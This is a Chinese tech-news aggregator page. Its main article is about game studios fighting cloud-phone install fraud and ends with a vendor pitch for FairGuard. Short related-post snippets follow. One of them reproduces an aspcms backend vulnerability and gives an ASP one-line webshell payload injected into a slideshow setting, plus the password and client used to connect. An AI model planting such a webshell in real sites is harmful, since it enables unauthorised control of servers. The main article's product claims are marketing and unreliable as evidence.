当前位置: 首页 > news >正文

游戏如何应对云手机刷量问题

云手机的实现原理是依托公有云和 ARM 虚拟化技术,为用户在云端提供一个安卓实例,用户可以将手机上的应用上传至云端,再通过视频流的方式,远程实时控制云手机。

市面上常见的几款云手机

原本需要手机提供的计算、存储等能力都改由云端的服务器来提供。这样一来,实体设备就可以摆脱硬件的“束缚”,一台设备即可模拟出多台设备并可以同步操控。

云手机批量模拟设备

随着技术更迭,云手机模拟出的设备性能相比于虚拟机、虚拟框架更高,甚至可以超越真机;并且可以基于云技术进行弹性扩容、升级、灵活迁移。

相较于设备农场,云手机具有批量多开、灵活迁移、性能高、造价低等“优势”,得到了游戏黑灰产的广泛应用,给不少游戏造成了困扰。除了较为熟知的工作室、薅羊毛等牟利路径,云手机还常用于营销欺诈场景。

常见的游戏工作室牟利路径

本文将针对云手机在营销欺诈场景下案例进行分析,并提出有效解决方案。

游戏方运营人员做渠道投放,往往会遇到广告素材点击数量特别高,但安装激活量非常低,或者点击、安装激活数量都很高,但是留存率、付费率很低的情况。

投入了大量的营销费用,但没有得到预计的回报效果,分析后台数据,也难以得到有效的结论,这时候就要考虑是否遇到了营销欺诈问题。

营销欺诈是指在游戏推广、展示广告等场景下,黑灰产使用云手机搭配私有化脚本模拟真实用户行为,进行交互、安装、捏造貌似合法的虚假活动,盗取游戏的 CPI和 CPA 营销预算。

来源:《中国异常流量报告》

买量欺诈一直都是游戏行业的痛点。据知情人士透露,常规平台中假量占比约为10%-15%,而某些中小信息流渠道假量比例甚至在80%以上。一款游戏的宣发成本动辄百千万上亿元,消耗在假量上的费用无疑是一笔巨额数字。

如何有效、精准的识别营销欺诈现象,首先要解决的问题就是,如何精准识别云手机等虚拟环境。据观察,云手机存在以下检测难点:

云手机技术发展成熟,为 ARM 同平台架构,相较于其他风险环境,云手机的仿真性高、检测难度大。

部分云手机有一键新机功能,可以随机生成新的设备ID、设备信息,哪怕设备被判定为工作室设备进行封禁处罚,也可使用该功能逃避处罚并将云手机再次投入使用。

部分云手机可使用一键新机逃避封禁处罚

针对游戏面临的云手机等风险环境问题,FairGuard定制了专门的应对策略,该方案已接入多款热门游戏并验证了出色的保护能力。

安全风险环境检测

不同于市面上其他产品,FairGuard加固采用更底层的检测手段,精准区分游戏运行环境,可识别云手机、虚拟机、虚拟框架、越狱、ROOT等各类风险环境,并提供个性化闪退策略。

渠道买量防刷

精心构造的智能监控系统,通过留存、付费、用户行为等多维度数据综合判断,精准识别假量、刷量行为,可产出真实有效的数据报告,对接游戏方处理,避免营销费用浪费。

设备指纹方案

专为游戏打造的方案,支持定制化功能,具有准确性高、安全性高、简单易用、性能消耗小等特点,每台设备指纹具有唯一性,不会因为刷新而逃避处罚。

相关文章:

游戏如何应对云手机刷量问题

云手机的实现原理是依托公有云和 ARM 虚拟化技术,为用户在云端提供一个安卓实例,用户可以将手机上的应用上传至云端,再通过视频流的方式,远程实时控制云手机。 市面上常见的几款云手机 原本需要手机提供的计算、存储等能力都改由…...

QTableView使用QSortFilterProxyModel后行号错乱

在Qt中,当你使用QSortFilterProxyModel对QTableView进行排序或过滤后,点击事件可能会返回一个不正确的行号,因为代理模型可能会改变数据的显示顺序。为了获取点击数据的真实行号和内容,你可以使用mapToSource()函数,它…...

【Python】 报错Can‘t find model ‘en_core_web_md‘

出现这种错误表明Python环境中找不到名为en_core_web_md的模型。这通常发生在使用spaCy库进行自然语言处理时,因为spaCy依赖于预先训练好的模型来进行词性标注、依赖分析、命名实体识别等任务。如果没有安装该模型,尝试加载它时会导致错误。 解决办法&a…...

每天五分钟深度学习框架pytorch:pytorch中已经定义好的损失函数

本文重点 前面我们学习了pytorch中两种模式的损失函数,一种是nn,另外一种是functional,本文将讲解pytorch中已经封装好的损失函数。其实nn的方式就是类,而functional的方式就是方法。nn中使用的也是functional。 损失函数中的参数 无论是nn还是functional,大多数的损失函…...

dedecms(四种webshell姿势)、aspcms webshell漏洞复现

一、aspcms webshell 1、登陆后台&#xff0c;在扩展功能的幻灯片设置模块&#xff0c;点击保存进行抓包查看 2、在slideTextStatus写入asp一句话木马 1%25><%25Eval(Request(chr(65)))%25><%25 密码是a&#xff0c;放行&#xff0c;修改成功 3、使用菜刀工具连…...

【STM32系统】基于STM32设计的智能垃圾桶(语音、颜色识别、称重、光强、烟雾、人体识别、步进电机、水泵)——文末资料下载

基于STM32设计的智能垃圾桶 演示视频: 基于STM32设计的智能垃圾桶 功能简介: 四个按键可分别打开四个垃圾桶(可回收垃圾、厨余垃圾、有害垃圾、其他垃圾) oled显示屏显示四个垃圾桶的打开/关闭状态、烟雾浓度、光照强度、称重的重量和识别到的颜色(白色、红色、绿色、蓝…...

GPT代码记录

#include <iostream>// 基类模板 template<typename T> class Base { public:void func() {std::cout << "Base function" << std::endl;} };// 特化的子类 template<typename T> class Derived : public Base<T> { public:void…...

powerbi

一. CALCULATE 和 FILTER FILTER 返回的数据必须是表&#xff0c; 所以 可以 用在 新建表中&#xff0c; 不能直接用在度量值中其实 filter 相当于 用 外表字段 去进行筛选 不使用 filter&#xff0c; 只能使用本表字段 进行筛选&#xff0c;如下1&#xff0c; 只能使用 门店信…...

【Unity】检测鼠标点击位置是否有2D对象

在这里提供两种方案&#xff0c;一种是射线检测&#xff0c;另一种是非射线检测。 初始准备步骤&#xff1a; 创建2D对象&#xff08;比如2D精灵&#xff09;给要被检测的2D对象添加2D碰撞体&#xff08;必须是2D碰撞体&#xff09;创建一个空对象&#xff0c;再创建一个检测…...

Python学习——【2.1】if语句相关语法

文章目录 【2.1】if语句相关一、布尔类型和比较运算符&#xff08;一&#xff09;布尔类型&#xff08;二&#xff09;比较运算符 二、if语句的基本格式※、练习 三、if-else组合判断语句※、练习 四、if-elif-else多条件判断语句※、练习 五、判断语句的嵌套※、实战案例 【2.…...

机器学习--K-Means

K均值聚类 算法过程 K − m e a n s K-means K−means 是 聚类 c l u s t e r i n g clustering clustering 算法的一种&#xff0c;就是给你一坨东西&#xff0c;让你给他们分类&#xff1a; 我们的 K − m e a n s K-means K−means 大概是这样一个流程&#xff1a; 第一…...

模型训练时CPU和GPU大幅度波动——可能是数据的读入拖后腿

模型训练时CPU和GPU大幅度波动——可能是数据的加载拖后腿 问题 在进行猫狗大战分类任务时&#xff0c;发现模型训练时CPU和GPU大幅度波动&#xff0c;且模型训练速度很慢。 原因 ​ 初步分析可能是数据加载&#xff08;包括数据的transform&#xff0c;我用了Resize&#…...

keep-alive的应用场景

...

【C++ Primer Plus习题】16.9

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <ctime> #include <v…...

Java入门:09.Java中三大特性(封装、继承、多态)02

2 继承 需要两个类才能实现继承的效果。 比如&#xff1a;类A 继承 类B A类 称为 子类 &#xff0c; 衍生类&#xff0c;派生类 B类 称为 父类&#xff0c;基类&#xff0c;超类 继承的作用 子类自动的拥有父类的所有属性和方法 &#xff08;父类编写&#xff0c;子类不需要…...

AI为云游戏带来的革新及解决方案:深度技术剖析与未来展望

近期&#xff0c;科技巨头埃隆马斯克与热门国产游戏《黑神话&#xff1a;悟空》的互动&#xff0c;再次引发了公众对AI技术在游戏产业中应用的关注。马斯克&#xff0c;作为特斯拉和SpaceX的掌门人&#xff0c;不仅在科技领域引领风骚&#xff0c;其个人兴趣也广泛涉猎&#xf…...

集合是什么

1.是什么 集合&#xff08;Collection&#xff09;是Java语言中一个非常重要的概念&#xff0c;它是一组对象的容器&#xff0c;用于存储、检索和操作对象。在Java中&#xff0c;集合框架定义了一系列接口和实现类&#xff0c;用于处理不同类型的集合。 集合的概念 集合框架提…...

JavaDS —— 图

图的概念 图是由顶点集合以及顶点之间的关系组成的一种数据结构&#xff1a;G &#xff08;V&#xff0c;E&#xff09; 其中 V 表示的是顶点集合 &#xff1a; V { x | x 属于某个数据对象集} 是有穷非空集合 E 叫做边的集合 &#xff1a; E {(x, y) | x, y 属于 V} 或者 …...

魅思-视频管理系统 getOrderStatus SQL注入漏洞复现

0x01 产品简介 魅思-视频管理系统是一款集成了视频管理、用户管理、手机端应用封装等功能的综合性视频管理系统。该系统不仅以其强大的视频管理功能、灵活的用户管理机制、便捷的手机端应用封装功能以及高安全性和现代化的界面设计,成为了市场上备受关注的视频管理系统之一。…...

SOME/IP通信协议在汽车业务具体示例

标签&#xff1a;SOME/IP&#xff1b; SomeIP通信协议在汽车业务具体示例&#xff1b; SomeIP通信协议在汽车业务具体示例 SOME/IP&#xff08;Scalable service-Oriented MiddlewarE over IP&#xff09;协议被广泛应用于现代汽车的多个关键业务领域。SOME/IP协议特别适合需要…...

脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装

以下是基于 vant-ui&#xff08;适配 Vue2 版本 &#xff09;实现截图中照片上传预览、删除功能&#xff0c;并封装成可复用组件的完整代码&#xff0c;包含样式和逻辑实现&#xff0c;可直接在 Vue2 项目中使用&#xff1a; 1. 封装的图片上传组件 ImageUploader.vue <te…...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

Linux 下 DMA 内存映射浅析

序 系统 I/O 设备驱动程序通常调用其特定子系统的接口为 DMA 分配内存&#xff0c;但最终会调到 DMA 子系统的dma_alloc_coherent()/dma_alloc_attrs() 等接口。 关于 dma_alloc_coherent 接口详细的代码讲解、调用流程&#xff0c;可以参考这篇文章&#xff0c;我觉得写的非常…...

规则与人性的天平——由高考迟到事件引发的思考

当那位身着校服的考生在考场关闭1分钟后狂奔而至&#xff0c;他涨红的脸上写满绝望。铁门内秒针划过的弧度&#xff0c;成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定"&#xff0c;构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...

2025年- H71-Lc179--39.组合总和(回溯,组合)--Java版

1.题目描述 2.思路 当前的元素可以重复使用。 &#xff08;1&#xff09;确定回溯算法函数的参数和返回值&#xff08;一般是void类型&#xff09; &#xff08;2&#xff09;因为是用递归实现的&#xff0c;所以我们要确定终止条件 &#xff08;3&#xff09;单层搜索逻辑 二…...